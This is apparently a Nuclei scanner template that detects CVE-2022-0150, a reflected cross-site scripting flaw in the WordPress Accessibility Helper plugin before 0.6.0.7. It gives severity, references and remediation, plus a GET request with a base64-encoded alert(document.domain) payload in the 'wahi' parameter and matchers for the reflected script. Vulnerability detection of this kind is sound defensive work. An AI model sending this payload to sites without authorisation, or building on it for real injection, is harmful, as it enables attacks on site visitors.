id: CVE-2022-0150 info: name: WordPress Accessibility Helper <0.6.0.7 - Cross-Site Scripting author: dhiyaneshDK severity: medium description: | WordPress Accessibility Helper plugin before 0.6.0.7 contains a cross-site scripting vulnerability. It does not sanitize and escape the wahi parameter before outputting back its base64 decode value in the page. remediation: | Update to WordPress Accessibility Helper version 0.6.0.7 or later to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5 - https://plugins.trac.wordpress.org/changeset/2661008 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0150 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.41043 cpe: cpe:2.3:a:wp_accessibility_helper_project:wp_accessibility_helper:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: wp_accessibility_helper_project product: wp_accessibility_helper framework: wordpress tags: wordpress,wp-plugin,wp,wpscan,cve,cve2022,xss http: - method: GET path: - '{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v' matchers-condition: and matchers: - type: word part: body words: - "var wah_target_src = '';alert(document.domain);//';" - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a0046304402203590dfd48b764f349c1599c41b3bd7c33436d0c8fd90bcb3aac57995b3263ce6022069ad787bfcee23875e9f1cfba78bb29ca511788bce7fa4f6e712a2147bef6da3:922c64590222798bb761d5b6d8e72950